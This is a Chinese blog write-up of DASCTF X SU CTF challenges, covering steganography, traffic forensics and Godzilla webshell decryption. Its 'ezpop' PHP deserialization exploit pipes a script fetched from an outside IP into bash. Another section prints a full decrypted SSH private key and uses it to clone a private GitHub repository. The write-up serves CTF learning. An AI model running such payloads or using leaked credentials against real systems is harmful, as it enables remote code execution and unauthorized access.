DASCTF X SU 三月挑战赛 MISC WP

又是一年的dasctf,摸了

图片[1]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

WEB

ezpop


<?php

class crow
{
    public $v1;
    public $v2;

    public function __construct( $v1)
    {
        $this->v1 = $v1;
    }

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __construct( $f1)
    {
        $this->f1 = $f1;
    }

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;
    public function __construct( $a)
    {
        $this->a = $a;
    }

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function __construct( $m1)
    {
        $this->m1 = $m1;
    }

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}
$f=new mix("\nsystem('curl 101.34.177.35/1.txt|bash');system('ls -lah /');system('env');");
$e = new fin($f);
$d= new crow($e);
$c=new mix($d);
$b=new what($c);
$a=new fin($b);
echo urlencode(serialize($a));

#dfd##\n

misc

月圆之夜

下载,一堆图片,重点就是第一张

图片[2]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

直接以图搜图,搜到对照表

审判席(伪)称号整理附魔族文字对照表 – The Arrow Knee (eso-tw.com)

然后直接对照就完了 DASCTF{WELCOMETOTHEFULLMOONNIGHT} 提交不对,改小写就行了。

问卷题

问卷,起飞

Hi!Hecker!

下载,流量分析 一堆ICMP流量,暂时略过,直接找TCP,重要的就这几个

图片[3]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇
图片[4]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

流量解密,

图片[5]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

获得关键信息, 一个zip,一个main.py,继续观察

图片[6]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

这里,可以简单推测,main.py的功能是将数据进行发送,可以猜测是把jenkins_secret.zip发送至了172.17.0.1这个ip,那么想要提取文件直接跟下面的流就行了

图片[7]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

确实如此,可以看见文件的通信,以及关键的文件头

图片[8]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

总共八个流,手工提取就行了(提取有误请自行重修ICMP流量协议)

图片[9]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

获得文件,jenkins没了解过,搜了不少资料,搜到了工具:

hoto/jenkins-credentials-decryptor: Command line tool for dumping Jenkins credentials. (github.com)

直接解密。他奶奶滴。

┌──(root💀kali)-[~/桌面/jenkins/jenkins_secret/secrets]
└─# ./jenkins-credentials-decryptor_1.2.0_Linux_x86_64 -m master.key -s hudson.util.Secret -c ../credentials.xml -o json 
[
  {
    "description": "github project sshkeys",
    "id": "1",
    "privateKey": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----\u0007\u0007\u0007\u0007\u0007\u0007\u0007",
    "scope": "GLOBAL",
    "username": "git"
  },
  {
    "id": "2",
    "scope": "GLOBAL",
    "secret": "hint1: hints.eson.ninja"
  }
]

重点再github project sshkeys,提取出来, 前面第一张图

图片[10]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

在做的时候就直接去找这个人的库来着。确实没找到secret_source_code这个库,考虑到有可能是私有库,结合给的sshkeys,那就简单了。

将key手工修修补,启动ssh-agent代理,ssh-add添加pem密钥,直接获得账号调用私有库的权限,最后gitclone就行了

┌──(root💀kali)-[~/.ssh]
└─# eval `ssh-agent`                                                                                                         2 ⨯
Agent pid 3789
                                                                                                                                 
┌──(root💀kali)-[~/.ssh]
└─# ssh-add -l           
The agent has no identities.

┌──(root💀kali)-[~/桌面]
└─# ssh-add id_rsa2                                                                                                          1 ⨯
Identity added: id_rsa2 (kali@Esonhugh)
                                                                                                                                 
┌──(root💀kali)-[~/桌面]
└─# ssh -T git@github.com
Hi Esonhugh/secret_source_code! You've successfully authenticated, but GitHub does not provide shell access.
                                                                                                                                 
┌──(root💀kali)-[~/桌面]
└─# git clone git@github.com:Esonhugh/secret_source_code.git                                                                 1 ⨯
正克隆到 'secret_source_code'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 24 (delta 4), reused 24 (delta 4), pack-reused 0
接收对象中: 100% (24/24), 4.60 MiB | 1.83 MiB/s, 完成.
处理 delta 中: 100% (4/4), 完成.
                                                                                                                                 
┌──(root💀kali)-[~/桌面]
└─# 

进入文件夹,里面是server.go,没有flag,考虑到是git必然是有gitlog的存在,

图片[11]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

直接恢复到flag分支没有任何东西,恢复到上一个source code就行了

图片[12]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

什么奇奇怪怪的东西

下载附件得到一个加密的flag.zip文件和一个mrf文件

mrf用Macro Recorder打开可以发现是个鼠标画图操作

图片[13]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

Mouse move即为鼠标移动轨迹,Left mouse button Down/Up即为鼠标左键按下与放开

点一下第一条Mouse move即可发现是数字3,红色线代表按着左键的移动轨迹。

图片[14]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

第二条为粉红色线,粉红色线代表着没按左键的移动轨迹。

图片[15]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

第三条即为数字9

图片[16]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

全部读一遍可得密码:397643258669

直接解压,得到一个vhd文件。

遇事不决直接丢取证大师,回收站有个误导相,

不管他 提取出四个文件(我这边重命名完了,懒得改了)

图片[17]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

123分别藏着三段编码,直接提取出来,最后的flag4.png意义不明,直接010打开

图片[18]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

“到达图片最底层, hex!,欸吗,这不png吗,还是看看远处的文件头吧家人们”

图片[19]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

懂得都懂好吧,直接转换获得二维码

图片[20]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

直接扫码获得更多数据,全部粘贴在txt里面,搜了一波,搜到了一个叫做Malbolge的神必语言,直接在线站运行就行了 Malbolge – interpreter online (doleczek.pl)

图片[21]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

Au5t1n的秘密

流量分析,发现是疯狂扫描,找到个神必的

图片[22]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇
图片[23]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

做了个文件上传,前面还有个key

图片[24]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

暂时先留着,解一下他的base64,

图片[25]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

一眼丁真,这不哥斯拉么,可以看到他把文件上传到了didi.php,那么说明后续更多操作都在didi.php进行操作

图片[26]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

首次连接didi.php发了个巨大的包,拆下来分析一下,流量包直接复制值提取,这里演示下怎么提取数据,把hex数据提取出来,fromhex和base64两次就行了

图片[27]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇
<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='093c1c388069b7e1';
$data = '';
$decode = encode(base64_decode($data),$key);
echo $decode;

提取关键代码

图片[28]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

这里再通信的时候先执行了gzencode,也就会导致后续的流量跟常规的哥斯拉稍有不同,那么解密就加一个gzdecode就行了,最后对后面的流逐步分析,流程一致,过程掠过 最后在2079流,的服务端提取然后解密

图片[29]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

代码:

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='093c1c388069b7e1';
$data = 'JrhrMWMzODgwNnKp+yzEe/V+BmMGU1joHxkWZdbHzcwrzoftAY7cxGzLbZ/z8e38Bc7XradHhZL8tA3CudX1rOtnxaYjHjnm/Bobbrsl57NE9kJv7pW1HnCAP3JEZQBodnom+Oa9VxHxsQvwe+eHxRGsDsgXX/kE342APGVWZM51C80lwh+VYUoRSCt0GVFH7swmrIR5sydtIjeSUQGDV/lW1TtgNxB4Wa50Pmd0dzYwtSw/IdhvYu9WvbPVSfNjeEfjBkgofDUTdS3yMQRItrv3gdORz5ostfpb5+txYj3Oz/ebr6+kfEWz1bZ9KLfs7aHvzXdDaEkx465004EWloEyoDNjt1ohhnQ4Yjc=';
$decode = encode(base64_decode($data),$key);
#echo $decode;
echo base64_encode(gzdecode($decode));

这里直接把输出的base64

echo “base64” |base64 -d >1111

Binwalk -e 1111

就可以获得最终的flag压缩包了

图片[30]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

密码是哥斯拉key的md5,之前我们已经获得了哥斯拉马的源码,以及最开始有个key is key1***,说明要爆破三位,那么就很好写了,生成脚本然后写个脚本爆破就行了

import hashlib
 
def md5(str):
    m = hashlib.md5()
    m.update(str.encode("utf8"))
    #print(m.hexdigest())
    return m.hexdigest()
 
with open('./superdic.txt', 'r') as fp:
    for line in fp:
        line = line.strip('\n')
        if md5(line)[:16] == "093c1c388069b7e1":
            print(md5(line))
            break
图片[31]-DASCTF X SU 三月挑战赛 MISC WP-魔法少女雪殇

解压后获得flag

xxxxxx

Description

Au5t1n这个人总是喜欢把东西搞得乱七八糟的,讨厌死了

hint:黑白相间的真好看

Analyze

加密dct隐写,解混淆后

import cv2,math
import numpy as np

org = cv2.imread('xxxxxxx.bmp', 0)
flag = cv2.imread('xxxxxxxx.bmp', 0)
a, b = org.shape
x = int(a/8)
y = int(b/8)
fingernum = flag.shape[0] * flag.shape[1]
r = math.ceil(fingernum/(x*y))
org = np.float32(org)

org1 = org

for i in range(x):
    for j in range(y):
        data_dct = cv2.dct(org[8*i:8*i+8, 8*j:8*j+8])
        for t in range(r):
            rx, ry = 4, 4
            r1 = data_dct[rx, ry]
            r2 = data_dct[7-rx, 7-ry]
            detat=abs(r1-r2)
            tmp = float(detat + 100)
            if flag[i][j] == 0:
                if r1 <= r2:
                    data_dct[rx, ry] += tmp
            if flag[i][j] == 255:
                if r1 >= r2:
                    data_dct[7-rx, 7-ry] += tmp
        org1[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(data_dct)
cv2.imwrite("xxxxxx.bmp", org1)

简单的dct,可以知道8格一块然后修改dct的3和4处数据,

flag以两边大小来判断,据此写exp即可得到flag,flag图像黑白相间,

查看间隔大小猜测是asc码,解密即可得到最终flag

import cv2,math
import numpy as np
from Crypto.Util import number


org = cv2.imread('xxxxxx.bmp', 0)
a, b = org.shape
x = int(a/8)
y = int(b/8)
org = np.float32(org)

org1 = org

res = []
for i in range(x):
    for j in range(y):
        data_dct = cv2.dct(org[8*i:8*i+8, 8*j:8*j+8])
        rx, ry = 4, 4
        r1 = data_dct[rx, ry]
        r2 = data_dct[7-rx, 7-ry]
        if r1 > r2:
            res.append(0)
        else:
            res.append(1)
# print(len(res))
# res2 = np.array(res)
# res2 = res2.reshape(64,64)
res2 = ''
flag = 0
count = 0
for i in range(len(res)-1):
    if res[i+1] == flag:
        count += 1
    else:
        count+=1
        # print(flag,count)
        print(chr(count),end='')
        res2 += str(flag)*(count//40)
        flag = res[i+1]
        count = 0
# print(number.long_to_bytes(int(res2,2)))

flag

e25bd92141be945cfcdd1c65bb1b9375

书鱼的秘密

Description

你可以解开书鱼哥哥的秘密嘛?

hint:233是书鱼最喜欢的数字了。难道你还疑惑吗

Analyze

(ps:赛后书鱼说题目不是他出的不要骂他.jpg)

有个wav,010查看发现data有些不对,根据hint233,

搜了下发现存在间隔,中间有许多的00,稍微观察后得到间隔是10,

于是写脚本10位提取一下,之后发现其中的233也比较规律,

异或后得到一个倒叙的png,再倒过来即可得到一个png:

with open('1.wav','rb') as fp:
    f = bytearray(fp.read()[158:])

data = bytearray()

for i in range(len(f)//10):
    data += (f[i*10]^233).to_bytes(1,byteorder="little")

f = open('res','wb')
# print(data[::-1])
f.write(data[::-1])
f.close()

在蓝通道存在lsb,提取得到压缩包解压得到个

书鱼的回忆.md其中重要的是

226232  1  
23442647826 1   
528842  3
5893626874  3
46342   2
6443742 1
473323  2
24462   1-2
6626    2
35426884    3
3782867425 484632   2
2654842    3  
2376832    0-3
52726      1 

再根据国际手机电话号码开头正确格式/代码/区号大全列表_陈沩亮博客 (chenweiliang.com)

得到一堆地区,在脑洞脑到区号得到

canada 1 -1
afghanistan 1 -93
latvia 3 -371
luxembourg 3 -352
india 2 -91
nigeria 1 -234
greece 2 -30
china 1-2 -86
oman 2 -968
djibouti 3 -253
equatorial guinea 2 -240
bolivia 3 -591
bermuda 0-3 -1441
japan 1 -81

提取得到1912120866341-4408 (注意最后有个空格),

md5后得到答案b80ddea112953c5f56fad46758d21ba8

不加空格就不对(,出题人的锅

flag

b80ddea112953c5f56fad46758d21ba8

© 版权声明
THE END
喜欢就支持一下吧
点赞3 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情